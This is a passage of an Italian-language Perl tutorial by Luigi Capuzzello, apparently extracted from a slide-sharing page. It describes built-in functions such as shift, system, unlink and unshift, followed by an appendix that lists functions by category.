41. rename Rinomina un file: restituisce 1 se l'operazione è stata svolta con successo, 0 in caso contrario
42. rmdir Rimuove la directory indicata come argomento della funzione
rmdir "temp_dir";
43. shift Estrae il primo valore dell'array e lo restituisce, accorciando di 1 la lunghezza dell'array e facendo
slittare i restanti elementi. In un certo senso, è l'opposto di push. Se l'array è vuoto, lo lascia vuoto e
restituisce un valore "undef".
@bla = ("a", "xterm", 12.5);

44.
45.
46.
47.
48.

$v = shift @bla;
# @bla è ("xterm", 12.5) e $v è "a"
sin Funzione matematica: restituisce il seno di un determinato valore
sleep Aspetta il numero di secondi indicati come argomento della funzione.
split Cerca particolari sequenze di caratteri e scompone la stringa in una serie di sottostringhe, restituendo la
lista generata (in contesto scalare) o il numero di sottostringhe generate. Verrà meglio spiegato più avanti,
dopo le spiegazioni sulle espressioni regolari.
sqrt Funzione matematica: calcola la radice quadrata.
symlink Crea un link simbolico. La sintassi è:
symlink OLDFILE, NEWFILE

Nei sistemi che non prevedono i link simbolici, la funzione uscirà con un errore. In questo caso si veda la
funzione link().
49. system Esegue un programma. E' simile a exec, ma dopo la fine dell'esecuzione del programma ritorna
invece di uscire.
system ("comando", "istruzioni")
50. undef Prende il nome di una variabile e la imposta come indefinita. Senza argomenti, restituisce un valore
indefinito. Undef non restituisce mai '' o 0.
undef %bla;
si sbarazza dell'hash %bla
undef $eek;
si sbarazza dello scalare $eek
$eek = undef;
come sopra
51. unlink Cancella un file o una lista di file.
unlink "tempfile";
unlink "tempfile", "altrifile";
52. unshift Aggiunge una lista di elementi in testa all'array e restituisce il numero di elementi.
@bla = ("a", "b");

Luigi Capuzzello


$arr = "xterm";
unshift(@bla, "eek", $arr, 12.5); # @bla è ("eek", "xterm", 12.5,
53. warn Emette un 'warning' nel canale STDERR, come fa die ma senza uscire.
warn "debugger enebled" if $debug;
54. <> Legge una riga da STDIN e la restituisce.
$_ = <>;
legge una linea in $_
chop;
esegue chop su n
print "Hai scritto '$_'n";
visualizza l'output, ovvero quello che si è digitato preceduto da "Hai scritto"

Luigi Capuzzello


Appendice A. Elenco delle funzioni per argomento.
Funzioni aritmetiche
abs(espr)
valore assoluto dell'espressione
cos(espr)
coseno trigonometrico dell'espressione
exp(espr)
esponenziale (e elevato a espr)
int(espr)
valore intero
log(espr)
logaritmo naturale (in base e) di espr
rand(espr)
valore casuale (non intero) tra 0 ed espr
sin(espr)
seno trigonometrico di espr
sqrt(espr)
radice quadrata di espr

Funzioni di conversione
chr(espr)
restituisce il carattere rappresentato dal valore decimale espr
hex(espr)
valore decimale del numero esadecimale espr
oct(espr)
valore decimale del numero ottale espr
Luigi Capuzzello


ord(espr)
codice ASCII del primo carattere di espr

Funzioni su stringhe
chop(lista)
rimuove l'ultimo carattere da ogni elemento della lista
eval(espr)
valuta l'espressione Perl espr
index(str, substr)
posizione di substr all'interno della stringa str
length(espr)
lunghezza della stringa espr
lc(espr)
restituisce espr in caratteri minuscoli
rindex(str,substr)
posizione dell'ultima occorrenza di substr nella stringa str
substr(espr,offset,len)
estrae una sottostringa di lunghezza len dalla stringa espr a partire dal
di posizione offset
uc(espr)
restituisce espr in caratteri maiuscoli

Funzioni su array e liste
delete($array{chiave})
elimina l'elemento dall'array associativo
exists($array{chiave})
verifica se l'elemento dell'array associativo esiste
Luigi Capuzzello

carattere


grep(espr,lista)
restituisce gli elementi della lista per i quali l'espressione espr ha valore

vero

join(espr,lista)
concatena gli elementi della lista separandoli mediante la stringa espr;
una stringa con gli elementi concatenati

restituisce

keys(%array)
restituisce una lista con le chiavi dell'array associativo
pop(@array)
restituisce l'ultimo elemento dell'array e lo elimina dall'array stesso
push(@array,lista)
inserisce gli elementi della lista alla fine dell'array
reverse(lista)
restituisce la lista in ordine inverso
shift(@array)
restituisce il primo elemento della lista e lo elimina dall'array
sort(lista)
ordina gli elementi della lista e restituisce una lista ordinata
splice(@array,offset,length,lista)
rimuove gli elementi dell'array a partire da offset per length elementi e li rimpiazza
con gli elementi della lista; restituisce gli elementi rimossi
split(pattern,espr)
restituisce una lista di elementi generati dividendo la stringa espr in
volta che viene incontrata la sottostringa pattern
unshift(@array,lista)
inserisce gli elementi della lista in testa all'array
values(%array)
restituisce un array con i valori degli elementi dell'array associativo

Luigi Capuzzello

elementi ogni


Funzioni su file e directory
chmod(modo,lista)
cambia i permessi sui file specificati nella lista
chown(user,group,lista)
cambia il proprietario ed il gruppo dei file specificati nella lista
mkdir(dir,modo)
crea la directory dir con i permessi specificati in modo
truncate(file,dim)
tronca il file alla dimensione dim
rename(vecchio,nuovo)
cambia il nome di un file
rmdir(dir)
elimina la directory dir
unlink(lista)
cancella dal filesystem i file specificati nella lista

Funzioni di Input/Output
close(filehandle)
chiude il file
eof(filehandle)
restituisce vero se il file è terminato, falso altrimenti
getc(filehandle)
restituisce il successivo carattere letto dal file open(filehandle,file)
apre il file e gli associa il nome logico
filehandle print filehandle lista
Luigi Capuzzello


scrive su file
read(filehandle, $var,$n$,offset)
legge n byte dal file a partire dalla posizione offset e li memorizza in $var
seek(filehandle,posizione)
posiziona il puntatore all'interno del file
sprintf formato,lista
restituisce lista in una stringa formattata in base al formato tell(filehandle)
restituisce la posizione del puntatore all'interno del file

Luigi Capuzzello

Perl

More Related Content

Featured

Perl